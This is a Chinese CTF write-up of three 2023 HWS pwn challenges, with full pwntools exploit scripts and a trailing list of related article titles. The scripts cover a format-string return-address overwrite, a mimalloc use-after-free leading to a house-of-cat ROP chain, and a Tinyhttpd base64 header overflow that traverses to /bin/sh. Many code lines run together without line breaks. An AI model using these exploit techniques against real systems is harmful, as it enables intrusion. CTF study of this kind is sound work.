2023-HWS-PWN-WP

这次比赛运气比较好,把pwn ak了。

fmt

栈上格式化字符串漏洞。有两次机会,每次最多输入80bytes。第一次泄露地址,第二次覆盖返回地址为one_gadget。

#!/usr/bin/python
#encoding:utf-8from pwn import *context.arch = 'amd64'
context.log_level = 'debug'fn = './fmt'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')debug = 1
if debug:p = process(fn)else:p = remote('60.204.140.184', 30045)def dbg(s=''):if debug:gdb.attach(p, s)pause()else:passlg = lambda x, y: log.success(f'{x}: {hex(y)}')def myformat(offset, addr, data):A = data & 0xffffB = (data >> 16) & 0xffffC = (data >> 32) & 0xffff# D = (data >> 48) & 0xffffprint(f'A: {hex(A)} \n' + f'B: {hex(B)} \n' + f'C: {hex(C)} \n' )def cal(x, y):return ((x - y) + 0x10000) % 0x10000offset = offset + 6payload = '%' + str(A) + 'c%{}$hn'.format(offset)payload += '%' + str(cal(B, A)) + 'c%{}$hn'.format(offset + 1)payload += '%' + str(cal(C, B)) + 'c%{}$hn'.format(offset + 2)# payload += '%' + str(cal(D, C)) + 'c%{}$hn'.format(offset + 3)payload = payload.ljust(0x30, '\x00')payload = payload.encode()payload += p64(addr)payload += p64(addr + 2)payload += p64(addr + 4)# payload += p64(addr + 3)return payloadp.recvuntil('need a str: ')payload = "l1s00t%13$p%18$p%21$p"
p.sendline(payload)p.recvuntil('l1s00t')code_base = int(p.recv(14), 16) - 0x13f0
stack = int(p.recv(14), 16)
libc_base = int(p.recv(14), 16) - 0x24083lg('codebase', code_base)
lg('stack', stack)
lg('libc_base', libc_base)ret = stack - 8gadgets = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = libc_base + gadgets[1]# dbg()p.recvuntil('need other str: ')payload = myformat(6, ret, one_gadget)
p.sendline(payload)p.interactive()

mi

题目需要patchelf路径才能正常运行。

题目的内存分配是一个新型的mi_malloc,但仍然是一道典型的菜单堆题。

题目存在UAF漏洞。

通过查看mi_malloc源码分析等博客以及调试等方式,对mi_malloc有大致的了解。感觉重要的点就是mi_malloc是以页面为单位分配内存,并把分配得到的内存再划分为不同大小的区块,每个区块互不干扰。分配小块内存时,优先从free中申请,释放时,优先放到local_free链表中。还会进行堆块的复用。

由此,可以想到,伪造local_free的next指针,即可实现任意地址分配。

大致思路就是:

  1. 泄露heap地址,得到heapbase
  2. 在heap中存储heap的控制块等结构,存储有mi_libc的地址。伪造chunk块指向存储mi_libc的地址,即可泄露mi_libc地址,进而泄露libc地址
  3. 伪造_IO_2_1_stdout,劫持puts,实现ORW。
from pwn import *context.arch = 'amd64'
context.log_level = 'debug'fn = './backpwn'
elf = ELF(fn)
libc = ELF('./libc.so.6')debug = 1
if debug:p = process(fn)
else:p = remote('60.204.140.184', 30276)def dbg(s=''):if debug:gdb.attach(p, s)pause()else:passlg = lambda x, y: log.success(f'{x}: {hex(y)}')def house_of_cat(fake_IO_file_addr):flag_addr = fake_IO_file_addr + 0x200data = fake_IO_file_addr + 0x400payload = flat({0x20: [0, 0, 1, 1,fake_IO_file_addr+0x150,    # rdxsetcontext + 61],0x58: 0,    # chain0x78: _IO_stdfile_2_lock,   # _lock0x90: fake_IO_file_addr + 0x30,  # _IO_wide_data0xb0: -1,    # _mode0xc8: _IO_wfile_jumps + 0x10,   # fake_IO_wide_jumps0x100: fake_IO_file_addr + 0x40,0x140: {0xa0: [fake_IO_file_addr + 0x210, ret]},0x1f0: 'flag',0x200: [pop_rax_ret,  # sys_open('flag', 0)2,pop_rdi_ret,flag_addr,pop_rsi_ret,0,syscall_ret,pop_rax_ret,  # sys_read(flag_fd, heap, 0x100)0,pop_rdi_ret,3,pop_rsi_ret,data,pop_rdx_rbx_ret,0x40, 0,syscall_ret,pop_rax_ret,  # sys_write(1, heap, 0x100)1,pop_rdi_ret,1,pop_rsi_ret,data,pop_rdx_rbx_ret,0x40, 0,syscall_ret]}, filler='\x00')return payloaddef add(size, content='aaaaaaaa'):p.sendlineafter('>>', '1')p.sendlineafter('size:', str(size))p.sendafter('Content:', content)def edit(idx, content):p.sendlineafter('>>', '3')p.sendlineafter('idx:', str(idx))p.sendafter('Content:', content)def show(idx):p.sendlineafter('>>', '4')p.sendlineafter('idx:', str(idx))def delete(idx):p.sendlineafter('>>', '2')p.sendlineafter('idx:', str(idx))add(0x500)   # 0
add(0x500)   # 1
add(0x500)   # 2delete(1)
delete(2)edit(2, 'a')show(2)p.recvline()
heapbase = u64(p.recvline()[:-1].ljust(8, b'\x00')) & ~0xffffff
lg('heapbase', heapbase)edit(2, p64(heapbase + 0x240))add(0x500)  # 3
add(0x500, 'a')  # 4show(4)mi_libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x22861
lg('mi_libc_base', mi_libc_base)libc_base = mi_libc_base - 0x1f2000
lg('libc_base', libc_base)_IO_2_1_stdout = libc_base + 0x1ed6a0
_IO_stdfile_2_lock = libc_base + 0x1ee7e0
_IO_wfile_jumps = libc_base + 0x1e8f60pop_rdi_ret = libc_base + 0x0000000000023b6a
pop_rsi_ret = libc_base + 0x000000000002601f
pop_rdx_rbx_ret = libc_base + 0x000000000015f8c6
pop_rax_ret = libc_base + 0x0000000000036174
syscall_ret = libc_base + 0x00000000000630a9
ret = pop_rdi_ret + 1setcontext = libc_base + libc.sym['setcontext']deferred_free = mi_libc_base + 0x75f50gadgets = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = libc_base + gadgets[1]add(0x400)  # 5
add(0x400)  # 6
add(0x400)  # 7delete(6)
delete(7)# edit(7, p64(deferred_free))
edit(7, p64(_IO_2_1_stdout))add(0x400)  # 8
add(0x400)  # 9# dbg()payload = p64(0) * 2 + house_of_cat(_IO_2_1_stdout)
add(0x400, payload)  # 10p.interactive()

mhttpd

题目修改自于Tinyhttpd这个项目。

题目未限制v18的长度,导致base64解密后可以覆盖url,从而绕过路径穿越检测,达到任意文件执行的效果。

使用cyberspace生成需要的base64串。

from pwn import * context.arch = 'amd64'
context.log_level = 'debug'# p = remote('127.0.0.1', 4000)p = remote('123.60.179.52', 30295)data = "GET /l1s00t.html HTTP/1.1\r\nAuthorization: Basic QWRtaW46YWFhYWJhYWFjYWFhZGFhYWVhYWFmYWFhZ2FhYWhhYWFpYWFhamFhYWthYWFsYWFhbWFhYW5hYWFvYS8uLi8uLi8uLi8uLi8uLi8uLi8uLi9iaW4vc2g/Lmh0bWw=\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36\r\n"p.sendline(data)p.interactive()

参考文章:

https://lyoungjoo.github.io/2019/09/04/2019-TokyoWesterns-CTF-mi-write-up/

https://www.cnblogs.com/linkwk7/p/11193728.html

https://www.cnblogs.com/Five100Miles/p/12169392.html

https://github.com/EZLippi/Tinyhttpd

2023-HWS-PWN-WP相关推荐

  1. ctfshow—2023愚人杯wp

    ctfshow-2023愚人杯wp 热身 热身 100 愚人杯比赛秉承欢乐.有爱.进取的精神 在群里师傅热心帮助下,已经开始第三届比赛啦! 欢迎各位师傅参加,希望大家玩的开心,比赛题目可以自由讨论.但 ...

  2. 2022 hgame pwn wp

    2022 hgame pwn wp 本来早就写好了,但是由于复试毕设等等原因拖到今天才发 包括了绝大部分题目,除了算法题spfa和bpwn,剩下一些简单题懒得写了orz 文章目录 2022 hgame ...

  3. NKCTF2023 pwn wp

    序 姗姗来迟-我是蓝狗.从这场比赛中学到了许多新知识,所以记录一下. ezshellcode 能输入 0x100 字节的任意指令执行,很明显直接丢个 shellcode 进去就行了. 问题是程序不是从 ...

  4. buuctf pwn wp(第四波)格式化字符串漏洞系列

    这里是一个总的分类,一个类型的第一道题目会详细介绍,后面的类型相同的会简略介绍(不过这是第一波,都是最简单的,原理可以看我前面的文章,后面难一点的题目我再讲原理.) 这一波题都是无脑AAAA的类型,它 ...

  5. [HSCSEC 2023] rev,pwn,crypto,Ancient-MISC部分

    比赛后有讲解,没赶上,前20比赛完1小时提交WP,谁会大半夜的起来写WP. 总的感觉pwn,crypto过于简单,rev有2个难的不会,其它不是我的方向都感觉过于难,一个都没作. rev DECOMP ...

  6. [LitCTF 2023] crypto,pwn,rev

    这个比赛有巨多的题,而且基本上都很简单,队里答疯了.其实没大意思,本来不想写了,可又没啥可写,这周也就干点这个,算是放松吧. Crypto 1,HEX 略 2,梦想是红色的,略 3,原来你也玩原神 原 ...

  7. SCU新生赛2021 pwn wp

    前段时间的极客大挑战2021和2021年的SCU新生赛,最后一道题都没有做出来,作为一枚大二学长确实应该反省一下自己了.太菜了呜呜呜.极客大挑战因为打太久了,题目都快忘记了,就不写wp了. ret2t ...

  8. [tjctf 2023] crypto,pwn,rev部分

    三块没有一个通关的.rev差两个,crypto.pwn都差一题 Crypto baby-rsa 给出n,e,c其中e=3,c明显小于n,这个一看就是n给大了e给小了,结果乘幂后还是比n小,直接开根号 ...

  9. CSTC 部分pwn wp

    1.bank 直接拖入ida分析,password是由fgets函数读取的,因此当生成的第一个随机数为0xa时,密码就会被截断,即为0xa. 可以发现flag被读入栈中,并且有格式化字符串漏洞,经调试 ...

  10. 巅峰极客pwn wp

    Pwn gift 程序保护全开 程序功能: add:最多只能申请十次堆块,每次申请大小为0x60或0x100,往里写内容的时候是往user_data+0x10处写. delete:有UAF show: ...

最新文章

  1. 某资深互联网人分析:支付宝面临巨大困难,被微信争夺市场,年轻用户流失严重...
  2. Win7启动Oracle出错
  3. gym100825G. Tray Bien(轮廓线DP)
  4. [python作业AI毕业设计博客]比Selenium IDE更好用的录制工具: Katalon Recorder
  5. linux进程q是什么意思,Linux进程
  6. 利用计算机形考试二,计算机应用基础形考试题
  7. 如何重装win8系统,win8系统重装的方法
  8. 凸优化第二章凸集 2.6 对偶锥与广义不等式
  9. 30分钟看懂经济机器是如何运行的?
  10. 现代软件工程讲义 7 设计阶段 Spec
  11. 谷歌面试题-单位换算
  12. 史上最接地气的国外穷游攻略
  13. DIE(一个JS引擎Fuzzing工具)安装教程
  14. Download Example
  15. 无人机深度学习虚拟现实平台构建
  16. vue2使用element日期选择控件显示农历数据
  17. OSChina 周三乱弹 —— 姑娘不是我的心上人,请自重
  18. c语言cache,高速C/C++编译工具ccache
  19. win pear php7.1,windows上应用pear安装php扩展 - libevent
  20. echarts 折线图折线从头开始

热门文章

  1. TokenInsight 对话首席——交易制胜,二级市场数据与趋势
  2. python个人简历爬取_python爬虫爬取智联简历?
  3. 在编译时出现无法解析的外部符号Cxx::AssertValid(void)const的解决方法
  4. pkill 命令_pkill和pgrep:流程管理命令
  5. 网络分析平台StatCounter被黑客攻破,Gate.io加密货币交易所受牵连
  6. python turtle画四叶草的步骤_10分钟轻松学会 Python turtle 绘图
  7. mysql order by convert函数 优化
  8. Unity 贴图压缩方法和对比
  9. 刘德华演唱会停止后报平安:身体稳定 已经出院
  10. java swing 管理系统源码 网盘_java swing 图书管理系统(含数据库脚本)